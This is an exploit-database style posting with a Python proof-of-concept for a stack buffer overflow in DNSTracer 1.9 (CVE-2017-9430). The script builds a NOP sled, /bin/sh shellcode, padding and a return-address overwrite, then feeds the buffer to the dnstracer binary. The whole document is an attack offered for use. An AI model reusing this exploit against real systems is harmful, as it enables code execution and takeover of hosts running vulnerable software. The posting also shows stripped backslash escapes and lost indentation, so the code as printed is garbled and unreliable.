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DNSTracer 1.9 Buffer Overflow

Posted on 04 August 2017

# Exploit Title: DNSTracer 1.9 - Buffer Overflow
# Google Dork: [if applicable]
# Date: 03-08-2017
# Exploit Author: j0lama
# Vendor Homepage: http://www.mavetju.org/unix/dnstracer.php
# Software Link: http://www.mavetju.org/download/dnstracer-1.9.tar.gz
# Version: 1.9
# Tested on: Ubuntu 12.04
# CVE : CVE-2017-9430
# Bug report: https://www.exploit-db.com/exploits/42115/
# Vulnerability analysis: http://jolama.es/temas/dnstracer-exploit/index.php

# Proof of Concept
import os
from subprocess import call

def run():
try:
print "
DNSTracer Stack-based Buffer Overflow"
print "Author: j0lama"
print "Tested with Dnstracer compile without buffer overflow protection"

nops = "x90"*1006
shellcode = "x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1xb0x0bxcdx80"
filling = "A"*24
eip = "x2fxebxffxbf"

#buf size = 1057
buf = nops + shellcode + filling + eip

call(["./dnstracer", buf])

except OSError as e:
if e.errno == os.errno.ENOENT:
print "
Dnstracer not found!
"
else:
print "
Error executing exploit
"
raise

if __name__ == '__main__':
try:
run()
except Exception as e:
print "Something went wrong"

 

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